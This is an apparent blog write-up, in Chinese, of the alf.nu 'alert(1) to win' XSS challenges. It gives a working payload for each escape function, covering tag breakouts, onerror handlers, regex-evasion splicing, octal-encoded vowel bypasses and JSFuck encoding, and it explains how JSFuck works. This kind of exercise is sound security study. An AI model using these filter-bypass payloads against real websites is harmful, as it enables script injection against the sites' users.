Contents
  1. 1. 题目
    1. 1.1. warmup
    2. 1.2. Adobe
    3. 1.3. JSON
    4. 1.4. JavaScript
    5. 1.5. Markdown
    6. 1.6. DOM
    7. 1.7. Callback
    8. 1.8. Skandia
    9. 1.9. Template
    10. 1.10. JSON2
    11. 1.11. Callback2
    12. 1.12. Skandia 2
      1. 1.12.1. jsfuck
    13. 1.13. iframe
    14. 1.14. TI(S)M
    15. 1.15. JSON 3
    16. 1.16. K’Z’K
    17. 1.17. K’Z’K
  2. 2. 问题总结
  3. 3. 知识补给
    1. 3.1. JS
  4. 4. 参考

在做 alf.nu/alert1 时候的一些总结,主要是xss这种低安全级别的注意事项。

题目

warmup

1
2
3
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}

在html中直接闭合 双引号【”】。

Adobe

1
2
3
4
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}

这里双引号被过滤了,只有想办法绕过过滤。

  1. 由题可知过滤方法只将【”】替换为了【"】,没有对【\】本身进行转义,所以我们可以通过输入【"】来进行绕过,我们的【\】会将原本的【\】给转义掉,从而实现绕过!
  2. 直接闭合 <script> 标签即可。

JSON

1
2
3
4
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}

json.stringify()方法是将一个JavaScript值转换成Json字符串,将一个传入的对象(这里是字符串)加上双引号,并转义【”】,但是会对 【\】 进行转义。
这里其实涉及到html标签的优先级,script标签时具有高优先级的,就是说当我们在script标签中出现了 </script>标签,那么就会闭合前面那个 <script> ,从而实现绕过。

JavaScript

1
2
3
4
5
6
7
8
9
function escape(s) {
var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
console.log(url);

var a = document.createElement('a');
a.href = url;
document.body.appendChild(a);
a.click();
}

这次字符串出现在了url中,同样是绕过 【”】,url编码规定在url中url编码会自动解码,但是js是不会解码的,所以url编码后的【”】js是不认识的,所以我们就成功逃过了JSON.stringify对【”】的转义。

【”】 在 url中的编码:

1
2
3
from urllib import quote
quote("\"")
==> '%22'
%22);alert(1)//

Markdown

1
2
3
4
5
6
7
8
function escape(s) {
var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

这是某些markdown语法的实现方式。
第一条代码: 【<】【”】都被转义为html实体。
第二条代码: 将输入的链接自动生成了a标签。
第三条代码: Markdown标准插入图片的语法即 [[src|alt]],【|】左边遍是图片的src,右边是图片的alt属性。

从第一条可以基本确定我们想要直接输入 <script> 等标签以及双引号是不太可能的了,第二条是关于url的,那么我们可不可以使用javascript伪协议呢?答案是不行,正则规定了只有 http:// 开头的才可以生成a标签,那么再看一下最后一条,由于第一条的实体编码导致我们输入【”】与【<】都不行了。
能不能结合所有已知条件看不能创造【”】,输入 http:// 什么的时候就会自动生成a标签,a标签中就会有双引号,它正好闭合alt的第一个【”】:

payload

1
[[1|http://onerror=alert(1)//]]

DOM

1
2
3
4
5
6
7
8
9
10
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);

// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}

这个题目目的是JavaScript中DOM创建DOM节点。我们的目的就是能够执行 alert(1),那么创建dom节点就那么几个方法,像 ElementTextNode 这种就没机会了,一个是只能淡出创建空标签,一个是只能输出纯文本,都不能利用。 其他方法还包括Comment,它创建的节点为 <!-- node --> 我们需要闭合 <!-- 即可。

document.createComment

Callback

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json +")</script>";
}

回调函数是有限制的(只能由字母、[、]、单引号组成),不能用任意的,obj是一个序列化后的对象,json转换函数中将【<】替换为十六进制的编码\u003C,这个过滤导致我们无法使用这样的标签。我们可控的就callback与obj的值,callback不一定要是一个函数,我们需要做的就是闭合 ({"userdata":" 这段字符串想办法绕过obj,让它不在是一个对象,否则我们是不可能弹窗的:

payload
'#';alert(1)//

Skandia

1
2
3
function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

这道题目中没有过滤函数,仅仅只有一个大小写函数。
目标:还是通过关闭存在的 <script> 标签创建一个对大小写不敏感的标签来执行 onerror 函数。
需要注意的是 JS 对大小写敏感,html 对大小写不敏感。
那么可以创建 <img> 标签,利用其属性函数 onerror , 将它赋值为 alert(1),并转换 alter为 html实体字符 就可以完成任务。

html 字符实体类似这样:

&entity_name;
或者
&#entity_number;

如需显示小于号,我们必须这样写:&lt;&#60;&#x3c;

1
2
binascii.hexlify('alert')
Out: '616c657274'

写img标签时,需要加上 src 属性。

</script><img src onerror=&#97&#108&#101&#114&#116(1)>
or
</script><img src onerror=&#x61&#x6c&#x65&#x72&#x74(1)>

Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;
});
}

function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}

return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}

最后一个return,调用 expandTemplate 函数对一串html元素处理,而 expandTemplate 函数定义里面又调用了 htmlEscape
htmlEscape 对 单双引号,&和<,>都转化为html实体字符了,但没过滤\转义符。

innerHTML 是 JS 字符串,使用十进制或者是十六进制来替换 【<】,【>】,来绕过这个函数。

\x3cimg src onerror=alert(1)\x3e
or
\u003cimg src=a onerror=alert(1)\u003e

JSON2

1
2
3
4
5
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');

return '<script>console.log(' + s + ');</script>';
}

stringify可转义【”】,并且转义【\】,</script 根据正则表达式替换成空字符串。g是全局模式,i就忽略大小写。

对付这种正则表达式的办法用字符串拼接。将替换成空的字符串嵌入到目标字符串中。

payload:
</</scriptscript><script>alert(1)//

output
<script>console.log("</script><script>alert(1)//");</script>

Callback2

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}

Callback 题目类似的,不同之处在于在本题中过滤了反斜杠。这就导致了 Callback的答案中的注释 // 是无法使用的。但是鉴于最后的JavaScript的代码会嵌入了html代码中,因此可以考虑使用html的注释方法来完成本题。
javascript 的注释是有三种的,分别为 // /**/ <!--

payload:
'#';alert(1)<!--

Output
<script>'({"userdata":"';alert(1)<!--"})</script>

Skandia 2

1
2
3
4
5
function escape(s) {
if (/[<>]/.test(s)) return '-';

return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

一旦匹配到 【<】 和 【>】 就会直接返回 -,又检查大写,但是不能输入 <> ,能不能对alert变换一下呢。
参考其他的博客,都说用到了 jsfuck

jsfuck

jsfuck 以这种风格写成的代码中仅使用 []()!+ 六种字符。此编程风格的名字派生自仅使用较少符号写代码的Brainfuck语言。但与其他深奥编程语言不同的是,以JSFuck风格写出的代码不需要另外的编译器或解释器来执行,无论浏览器或JavaScript引擎中的原生JavaScript解释器皆可直接运行。

加密网站:http://www.jsfuck.com/

这里仅需要将 ");alert(1)// 中的 alert(1)用jsfuck语言表示出来即可。

1
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//

or 自己筛选字符。

1
_=!1+URL+!0

在chrome浏览器下,返回的字符串为

1
falsefunction URL() { [native code] }true

那么变量 _ 即为 字符串 falsefunction URL() { [native code] }true

1
2
3
fill           =>    _[0]+_[10]+_[2]+_[2]
constructor => _[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]
alert => _[1]+_[2]+_[4]+_[38]+_[9]

只需要在JS中执行 []["fill"]["constructor"]("alert(1)")() 即可。

其对应的JSfuck代码为:

1
_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()

最终的结果为

1
");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()//

还可以转换成8进制,这样不含有像十六进制字符 x

1
");[]['\160\157\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//

iframe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function escape(s) {
var tag = document.createElement('iframe');

// For this one, you get to run any code you want, but in a "sandboxed" iframe.
//
// https://4i.am/?...raw=... just outputs whatever you pass in.
//
// Alerting from 4i.am won't count.

s = '<script>' + s + '<\/script>';
tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);

window.WINNING = function() { youWon = true; };

tag.setAttribute('onload', 'youWon && alert(1)');
return tag.outerHTML;
}

encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。
如:

1
2
3
4
5
6
7
8
<script type="text/javascript">

document.write(encodeURIComponent("http://www.w3school.com.cn"))
document.write("<br />")

document.write(encodeURIComponent(",/?:@&=+$#"))

</script>

输出:

1
2
http%3A%2F%2Fwww.w3school.com.cn
%2C%2F%3F%3A%40%26%3D%2B%24%23

iframe是html的一个标签,可以在网页中创建内联框架,有个src属性(指向文件地址,html、php等)可以选择内联框架的内容。window.name(一般在js代码里出现)的值不是一个普通的全局变量,而是当前窗口的名字,这里要注意的是每个iframe都有包裹它的window,而这个window是top window的子窗口,而它自然也有window.name的属性,window.name属性的神奇之处在于name 值在不同的页面(甚至不同域名)加载后依旧存在(如果没修改则值不会变化),并且可以支持非常长的 name 值(2MB)。

这个题目就是需要使用html的编码方法来完成任务。
本题的解决思路要利用到iframe的特性,当在iframe中设置了一个name属性之后, 这个name属性的值就会变成iframe中的window对象的全局。现在有意思的地方在于,iframe可以定义自己的window.name对象,当windowa.name不存在的同时注入了一个新的name的时候。所以我们需要做的就是干扰iframe使它认为window.name的指就是 youWon,那么这个时候 alert(1) 就可以被触发。

那个网址 https://4i.am/?...raw=... just outputs whatever you pass in. 直接返回js,那么可以由此设置iframe的name属性。

最终的解决方法是:

name='youWon'

利用window.name+iframe跨域获取数据详解

TI(S)M

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function escape(s) {
function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
function html(s) { return s.replace(/[<>"&]/g, function(s) {
return '&#' + s.charCodeAt(0) + ';'; }); }

return (
'<script>' +
'var url = ' + json(s) + '; // We\'ll use this later ' +
'</script>\n\n' +
' <!-- for debugging -->\n' +
' URL: ' + html(s) + '\n\n' +
'<!-- then suddenly -->\n' +
'<script>\n' +
' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
' else new Image().src = url;\n' +
'</script>'
);
}

在html5中如果是 <!–-<script> 中的代码都会认为是JavaScript的代码,直到遇到了 --> 的结束标识符。

JSON 3

1
2
3
4
5
6
7
8
function escape(s) {
return s.split('#').map(function(v) {
// Only 20% of slashes are end tags; save 1.2% of total
// bytes by only escaping those.
var json = JSON.stringify(v).replace(/<\//g, '<\\/');
return '<script>console.log('+json+')</script>';
}).join('');
}

我们需要填写的字符串的格式是payload#payload的格式。那么最后将会被渲染为:

1
<script>console.log("payload1")</script><script>console.log("payload2")</script>

这道题目同样是需要用到和 TI(S)M 题中一样的html5放入特性。即在html5中,<!–<script> 中的代码全部会被认为是JavaScript的代码,直到遇到了 --> 的结束标识符。

我们输入<!--<script>#payload2

得到:

1
<script>console.log("<!--<script>")</script><script>console.log("payload2")</script>

由于 <!–-<script> 中的代码都会认为是JavaScript的代码,所以可以将</的意义转变,变成 逻辑小于号和正则表达式。
需要在 payload2 中闭合正则表达式,并注意将里面的 ( 转义或者 将其闭合,正则表达式中的 () [] {}有不同的意思。 () 是为了提取匹配的字符串。表达式中有几个 () 就有几个相应的匹配字符串。否则报错

1
Error: Uncaught SyntaxError: Invalid regular expression: /script><script>console.log("/: Unterminated group

简化下:

1
2
3
console.log("<!--<script>")   <        /script><script>console.log(")/;       alert(1)
也就是
console() 小于号 /正则表达式/ ; alert(1)

还要注意在 js中将 --> 放在注释里面。

payload:

1
<!--<script>#)/;alert(1)//-->

K’Z’K

1
2
3
4
5
6
// submitted by Stephen Leppik
function escape(s) {
// remove vowels in honor of K'Z'K the Destroyer
s = s.replace(/[aeiouy]/gi, '');
return '<script>console.log("' + s + '");</script>';
}

此题替换所有的aeiouy,可以使用匿名函数,将其中的替换成十六进制或者8进制即可。

1
[]["pop"]["constructor"]('alert(1)')()

十进制

1
2
3
4
5
6
7
8
>>> (ord('o'))
111
>>> (ord('u'))
117
>>> (ord('a'))
97
>>> (ord('e'))
101

十六进制

1
2
3
4
hex(ord('o')) 	'0x6f'
hex(ord('u')) '0x75'
hex(ord('a')) '0x61'
hex(ord('e')) '0x65'

1
[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()

八进制:

1
2
3
4
oct(ord('o')) '0157'
oct(ord('u')) '0165'
oct(ord('a')) '0141'
oct(ord('e')) '0145'

1
[]["p\157p"]["c\157nstr\165ct\157r"]('\141l\145rt(1)')()

最终的payload为:

1
");[]["p\157p"]["c\157nstr\165ct\157r"]('\141l\145rt(1)')();//

K’Z’K

1
2
3
4
5
6
7
8
9
// submitted by Stephen Leppik
function escape(s) {
// remove vowels and escape sequences in honor of K'Z'K
// y is only sometimes a vowel, so it's only removed as a literal
s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi, '')
// remove certain characters that can be used to get vowels
s = s.replace(/[{}!=<>]/g, '');
return '<script>console.log("' + s + '");</script>';
}

貌似这道题把这几个字母的字符,十进制,十六进制,八进制都给过滤掉了,还过滤了其他字符。
但是由于替换掉的字符为空,我们可以利用多字符拼接,把目标字符保留下来。

1
");[]["p\1\15757p"]["c\157nstr\165ct\157r"]('\141l\145rt(1)')();//

payload:

1
");[]["p\1\15757p"]["c\1\15757nstr\1\16565ct\1\15757r"]('\1\14141l\1\14545rt(1)')();//

问题总结

什么时候加 【;】

知识补给

JS

学习 [ , ] , ( , ) , !+ 的其他用法,首先需要记住以下几点:

  • ! 开头会转换成 Boolean 布尔值
  • + 开头会转换成 Number 数值类型
  • 添加 [] 会转换成 String 字符串
  • ![] === false+[] === 0[]+[] === ""

另外可以通过 [] 获取字符串中特定的字符
"hello"[0] === "h"

也可以把数字串起来后再转换回数值:
+("1" + "1") === 11

好了, 来看看用这六个字符怎么可以得到一个字母a:

1
2
3
4
5
6
7
![] === false
![] + [] === "false"
// ---------------
!![] === true
+!![] === 1
// ---------------
(![] + [])[+!![]] === 'a'

用这个技巧我们可以轻易把 truefalse 中所有字母都取出来: a,e,f,l,r,s,t,u

还有什么其他可用的吗? undefined !

undefined 我们可以通过 [][[]] 得出来。
[][[]] + [] === "undefined"
这样我们可以额外得到d,i和n

1
2
([][[]] + [])[+!![]] === 'n'
([][[]] + [])[+!![]+!![]] === 'd'

利用目前我们得到的这些字母,我们可以拼出 fill, filterfind。 当然还可以拼出其他单词,但这三个单词都是数组的方法!

还有一件事我们需要知道的是,对象的属性我们都可以通过 [] 获取到。 [2,1]["fill"]()[2,1].fill() 是一样的!

[]["fill"] 返回 function fill() { [native code] } , 利用添加 [] 会转换成 String 的规则我们得到:

1
[]["fill"]+[] === "function fill() { [native code] }"

这样一来我们又获得了: c,o,v,(,),{,[,],}

进而我们可以得到 constructor

利用 constructor 函数可以返回对象的构造方法:

1
2
3
4
true["constructor"] + [] === "function Boolean() { [native code] }"
0["constructor"] + [] === "function Number() { [native code] }"
""["constructor"] + [] === "function String() { [native code] }"
[]["constructor"] + [] === "function Array() { [native code] }"

B,N,S,A,m,g,y 又收入囊中.

现在我们可以得到 toString 了:

(10)["toString"] () === "10"
嗯,虽然我们现在可以把任何东西都转换成字符串了,但是有个什么鸟用呢?

你有所不知的是,toString 有一个神秘的raidx 参数,可以指定用于数字到字符串的转换的基数。

1
2
3
4
(12)["toString"](10) === "12" // base 10 - normal to us
(12)["toString"](2) === "1100" // base 2, or binary, for 12
(12)["toString"](8) === "14" // base 8 (octonary) for 12
(12)["toString"](16) === "c" // hex for 12

利用这个方法,我们可以得到所有字符了. 0-9, a-z:

1
2
(10)["toString"](36) === "a"
(35)["toString"](36) === "z"

利用一些过期的现在已不推荐使用的HTML wrapper methods,我们可以得到另外一些标点符号:

1
"test""bold" === "<b>test</b>"

上面得到了<,>和/.

现在我们还差大写字母.

或许你听说过escape函数。 escape()函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。escape函数是我们成败的至关重要的一环!

现在我们可以拼写出escape但是我们怎么样可以执行呢, escape可是属于全局对象的!

问题来了,任何函数的构造函数是什么呢?

答案是:function Function() { [native code] }, Function 对象本身。

1
[]["fill"]["constructor"] === Function

利用Function对象,我们可以把字符串作为参数然后去创建一个函数:

1
Function("alert('test')")

我们只需要在最后添加()就可以执行 alert 了,所以我们可以这样使用escape函数:

1
[]["fill"]["constructor"]("return escape(' ')")() === "%20"

如果我们把 < 穿入escape会返回 %3C。 C对于我们得到剩下的字母非常重要:

1
[]["fill"]["constructor"]("return escape('<')")()[2] === "C"

用了C, 我们就可以用 fromCharCode 函数了 !fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。 fromCharCodeString 对象的方法,因此可以这样调用:

1
2
""["constructor"]["fromCharCode"](65) === "A"
""["constructor"]["fromCharCode"](46) === "."

至此为止,利用Unicode对照表我们可以得到任何字符了!
这就是JSFUCK的原理。更具体地参见这里,嘿嘿。

我的答题:

https://alf.nu/alert(1)#accesstoken=hu1CraLkoNlT87K1BlhV

参考

alf.nu/alert1 writeup(1-7)
escape.alf.nu XSS Challenges 8-15 之进阶的XSS
XSS练习平台【a/lert(1) to win】
alert(1) to win payloads
6个字符搞定一切
escape.alf.nu XSS Challenges Write-ups (Part 2)
escape-Write-ups (Part 2)
Ye Olde Crockford JSON regexp is Bypassable

Contents
  1. 1. 题目
    1. 1.1. warmup
    2. 1.2. Adobe
    3. 1.3. JSON
    4. 1.4. JavaScript
    5. 1.5. Markdown
    6. 1.6. DOM
    7. 1.7. Callback
    8. 1.8. Skandia
    9. 1.9. Template
    10. 1.10. JSON2
    11. 1.11. Callback2
    12. 1.12. Skandia 2
      1. 1.12.1. jsfuck
    13. 1.13. iframe
    14. 1.14. TI(S)M
    15. 1.15. JSON 3
    16. 1.16. K’Z’K
    17. 1.17. K’Z’K
  2. 2. 问题总结
  3. 3. 知识补给
    1. 3.1. JS
  4. 4. 参考